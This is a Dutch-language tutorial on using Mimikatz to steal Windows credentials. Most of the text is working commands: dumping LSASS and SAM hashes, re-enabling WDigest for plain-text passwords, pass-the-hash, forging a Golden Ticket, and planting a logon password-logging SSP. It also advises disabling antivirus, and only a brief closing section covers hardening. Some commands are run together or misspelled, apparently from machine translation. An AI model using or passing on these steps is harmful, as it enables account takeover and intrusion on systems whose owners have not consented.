Dit artikel is een beetje rommelig, maar het gaat er in principe over hoe je Mimikatz kunt gebruiken om Windows-wachtwoorden en -hashes te bemachtigen. Als je je ooit hebt afgevraagd hoe sommige aanvallers of penetratietesters erin slagen om inloggegevens rechtstreeks uit het geheugen te halen, dan is dit het soort truc dat ze gebruiken. Windows is er natuurlijk een stuk beter in geworden om dit soort dingen te blokkeren, vooral in nieuwere versies zoals Windows 11 en Server 2025 met Credential Guard ingeschakeld. Toch is het op oudere systemen of verkeerd geconfigureerde machines verrassend eenvoudig om wachtwoorden of hashes te achterhalen als je beheerder bent.
- Mimikatz: Beginnersgids
- Gebruikersgegevens uit het LSASS-geheugen dumpen
- Wachtwoordhashes extraheren uit een geheugendump
- Wachtwoorden uit slaapstand- en VM-bestanden
- Wdigest: Wachtwoorden in platte tekst
- Lokale gebruikershashes van SAM
- Pass-the-Hash-aanval
- Wachtwoorden ophalen uit Credential Manager
- Wachtwoorden dumpen bij het inloggen
- Windows beter beschermen tegen het lekken van inloggegevens
MimikatzHet is in feite het Zwitserse zakmes voor het extraheren van inloggegevens: het kan wachtwoorden, hashes, Kerberos-tickets en meer uit het Windows-geheugen halen. De meeste antivirusprogramma’s beschouwen het als schadelijk of verdacht (omdat het nu eenmaal vaak bij aanvallen wordt gebruikt), dus mogelijk moet u uitzonderingen instellen of uw beveiliging tijdelijk uitschakelen. Bovendien zult u op nieuwere Windows-systemen, vooral met Credential Guard ingeschakeld, merken dat veel van deze methoden gewoon niet werken. Windows blokkeert actief de geheugentoegang tot LSASS of isoleert het, waardoor het dumpen van wachtwoorden veel moeilijker wordt. Maar op oudere versies of onvoldoende beveiligde systemen kan het verrassend eenvoudig zijn.
Mimikatz: Beginnersgids
Mimikatz uitvoeren is alsof je een toegangspoort tot de geheime functies van Windows opent via de opdrachtregel. Wanneer je mimikatz.exe start, wordt een interactieve shell geopend waarin je opdrachten kunt typen om referenties te achterhalen. Het programma bevat modules voor het ophalen van wachtwoorden uit LSASS, het bemachtigen van Kerberos-tickets, het extraheren van referenties uit de Windows Referentiebeheerder en zelfs het vervalsen van Golden Tickets voor Kerberos. Zorg ervoor dat je het programma uitvoert met beheerdersrechten. Klik hiervoor met de rechtermuisknop op de opdrachtprompt of PowerShell, kies Uitvoeren als beheerder en start Mimikatz vanuit daar. Je hebt de nieuwste versie nodig, meestal mimikatz_trunk.zip, die het uitvoerbare bestand bevat.
- sekurlsa : dumpt wachtwoorden, hashes en tickets van lsass.exe
- kerberos : manipuleert Kerberos-tickets, creëert Golden Tickets
- kluis : haalt referenties op die zijn opgeslagen in Windows Referentiebeheer.
- lsadump : extraheert wachtwoordhashes en geheimen uit LSASS en SAM.
Enkele basiscommando’s om te onthouden:
privilege::debug: verkrijgt een debug-token — cruciaal omdat de meeste commando’s dit privilege nodig hebben om toegang tot het geheugen te krijgen.sekurlsa::logonpasswords: geeft een overzicht van de wachtwoorden/hashes/tickets van de momenteel ingelogde gebruikers.lsadump::sam: haalt lokale gebruikershashes op.kerberos::golden /user:Admin /domain:example.local /sid:S-1-5-21.../krbtgt:<HASH> /ptt: maakt een Gouden Ticket voor imitatie.
Gebruikersgegevens uit het LSASS-geheugen dumpen
Als je toegang krijgt om Mimikatz als beheerder uit te voeren, kun je alle inloggegevens van de ingelogde gebruiker ophalen uit het LSASS-proces. Dat is de geheugenruimte die Windows gebruikt voor het verwerken van beveiligingsinformatie. In Windows Server 2016 of een vergelijkbare versie zou je dat normaal gesproken als volgt doen:
- Start mimikatz als beheerder.
- Run
privilege::debug— hiermee krijg je de benodigde rechten om systeemprocessen te kunnen bekijken. - Sessielijst:
sekurlsa::logonpasswords full— het geeft hashes, wachtwoorden in platte tekst en alles wat in het geheugen is opgeslagen weer.
Op sommige systemen zie je mogelijk alle NTLM-hashes en wachtwoorden direct. Dit is gemakkelijker op oudere Windows-versies; nieuwere versies met Credential Guard schakelen dit standaard uit. Als je bijvoorbeeld een foutmelding krijgt zoals ERROR kuhl_m_sekurlsa_acquireLSA, komt dat waarschijnlijk door de strenge beveiliging van Windows. In sommige configuraties moet je mogelijk het LSASS-geheugen dumpen met tools zoals ProcDump of gespecialiseerde tools zoals Nanodump.
Wachtwoordhashes extraheren uit een geheugendump
Als anti-cheat- of antivirussoftware de toegang tot het live geheugen blokkeert, moet je mogelijk eerst een dump van LSASS.exe maken. Dat doe je als volgt:
- Open Taakbeheer en zoek naar lsass.exe.
- Klik met de rechtermuisknop en kies ‘Dumpbestand maken’. Het dumpbestand verschijnt in je tijdelijke map of op de locatie die je hebt gekozen.
- Als je Windows 11 of nieuwer gebruikt, houd er dan rekening mee dat LSASS mogelijk beveiligd is met RunAsPPL. Om een dump te verkrijgen, moet je die beveiliging mogelijk eerst uitschakelen (bah, Windows moet het natuurlijk weer ingewikkelder maken dan nodig).
Gebruik tools zoals Nanodump of laad mimicb.dll in de dump om deze achteraf te analyseren. Je kunt een dump in WinDbg laden en vervolgens de DLL’s van mimikatz laden, zoals hieronder:
.load mimilib.dll !process 0 0 lsass.exe.process /r /p FFFFFA80XXXXXXX !mimikatz
Vervolgens kun je sekurlsa::logonpasswordsde dump analyseren om de inloggegevens te achterhalen. Deze methode is complexer, maar effectief als geheugenbeveiliging is ingeschakeld.
Wachtwoorden ophalen uit de slaapstand en VM-bestanden
Soms bevinden oude geheugendumps zich in hiberfil.sys of VM-paginabestanden (.vmem).Met tools zoals WinDbg, of door VM-bestanden te converteren met bin2dmp.exe, kunt u mogelijk hints van daarin opgeslagen wachtwoorden achterhalen. Een vmem-bestand converteren:
bin2dmp.exe "vm.vmem" vm.dmp
Laad vervolgens die dump in WinDbg, zoek het lsass.exe-proces en voer mimikatz-opdrachten uit om de inloggegevens te achterhalen. Ja, het is een beetje geavanceerd, maar het werkt als je vermoedt dat er gegevens in deze bestanden zijn opgeslagen.
WDigest: Wachtwoorden in platte tekst extraheren
Vóór Windows 8.1 bewaarde Windows wachtwoorden in platte tekst in het geheugen via het WDigest- protocol. Indien ingeschakeld, kan mimikatz deze wachtwoorden uit LSASS halen. Om te controleren of WDigest is ingeschakeld:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
Als deze waarde op 1 staat, worden wachtwoorden in platte tekst opgeslagen en zijn ze toegankelijk. Om dit in te schakelen, voert u het volgende commando uit:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
Forceer vervolgens een groepsbeleidsupdate ( gpupdate /force) en wacht tot gebruikers inloggen. Zodra wdigest is ingeschakeld en actief is, sekurlsa::wdigestkan miminikatz — met — wachtwoorden rechtstreeks uit het geheugen ophalen, wat nogal gevaarlijk is bij misbruik.
Lokale gebruikershashes dumpen vanuit SAM
Om lokale accounthashes te verkrijgen, hebt u beheerdersrechten nodig. Mimikatz kan NTLM-hashes van lokale gebruikers – inclusief ingebouwde beheerders – extraheren door de SAM-database te dumpen:
- Privilege::debug
- token::elevate — om de juiste machtigingen te garanderen.
lsadump::sam— om die hashes eindelijk te dumpen.
Of exporteer de SAM- en SYSTEM-registerbestanden en laad ze vervolgens in Mimikatz zoals hieronder beschreven:
reg save hklm\sam c:\tmp\sam.hiv reg save hklm\security c:\tmp\sec.hiv privilege::debug lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Dit is vooral handig als je hashes offline wilt analyseren of een wachtwoordaudit wilt uitvoeren.
Pass-the-Hash-aanvallen uitvoeren
Gedumpte hashes kunnen opnieuw worden gebruikt om toegang te krijgen tot systemen zonder het wachtwoord in platte tekst nodig te hebben. Met behulp van het commando van Mimikatz sekurlsa::pthkunt u zich voordoen als een gebruiker door diens hash door te geven en vervolgens een sessie of proces starten:
privilege::debug sekurlsa::pth /user:Admin /domain:example.com /ntlm:<NTLM_HASH> /run:powershell.exe
Dit opent PowerShell in de context van die gebruiker, helemaal zonder het wachtwoord te weten. Erg krachtig, maar ook best eng als het misbruikt wordt.
Wachtwoorden dumpen uit Windows Referentiebeheer
Wachtwoorden die zijn opgeslagen in de Credential Manager zijn ook toegestaan.
privilege::debug sekurlsa::credman
Hier worden alle opgeslagen inloggegevens weergegeven, inclusief wachtwoorden voor externe bureaubladtoegang en websitegegevens. Als u dit soort informatie beheert, houd er dan rekening mee dat deze in platte tekst wordt opgeslagen zodra deze hier wordt weergegeven. Dit vormt dus een groot beveiligingsrisico.
Wachtwoorden dumpen bij het inloggen
Dit is een beetje een niche-truc, maar wel interessant voor insiders of kwaadwillenden: door een extra SSP-provider met Mimikatz DLL’s toe te voegen, kunnen gebruikerswachtwoorden bij het inloggen naar een logbestand worden geschreven. Je kopieert het bestand mimilib.dllnaar C:\Windows\System32, past de registerinstellingen aan en vervolgens worden de wachtwoorden elke keer dat iemand inlogt vastgelegd.
Om het logboek te lezen:
Get-Content C:\Windows\System32\kiwissp.log
Dit is een slinkse methode, maar absoluut geen normale gebruikersbevoegdheid — hiervoor zijn beheerdersrechten vereist.
Beveilig Windows tegen het lekken van inloggegevens
Moderne Windows-versies blokkeren deze tools veel beter. Het inschakelen van Credential Guard, het up-to-date houden van Windows, het uitschakelen van WDigest en het uitschakelen van LM/NTLM-hashes zijn goede stappen. Ook het inschakelen van LSA Protection (via het register RunAsPPL) helpt het dumpen van LSASS te voorkomen. En vermijd het onnodig verlenen van beheerdersrechten. Want hoe meer mensen beheerdersrechten hebben, hoe makkelijker het is voor iemand om Mimikatz of vergelijkbare tools uit te voeren.
Uiteindelijk is het een soort kat-en-muisspel op het gebied van beveiliging: je wilt je systemen beschermen, maar het is ook goed om te begrijpen hoe aanvallers ze zouden kunnen proberen te compromitteren. Op sommige machines werkt dit, op andere weer niet. Maar weten hoe het werkt, is al de helft van de strijd gewonnen.
Samenvatting
- Als je Mimikatz als beheerder uitvoert, kun je een hoop inloggegevens dumpen – als Windows dat tenminste toestaat.
- Nieuwere systemen beschermen LSASS behoorlijk goed, dus verwacht daar fouten of storingen.
- Zorg er altijd voor dat systemen up-to-date en beveiligd zijn tegen deze technieken.
Samenvatting
Dit is best verontrustend, maar het benadrukt ook het belang van goede beveiligingspraktijken. Als je een omgeving beveiligt, zorg er dan voor dat Credential Guard is ingeschakeld, dat je het regelmatig bijwerkt en dat je sterke, complexe wachtwoorden afdwingt. Want zodra iemand beheerdersrechten heeft, heeft diegene vrijwel de volledige controle, of je dat nu leuk vindt of niet. Hopelijk geeft dit wat meer inzicht in hoe inloggegevens kunnen worden gestolen en wat je eraan kunt doen.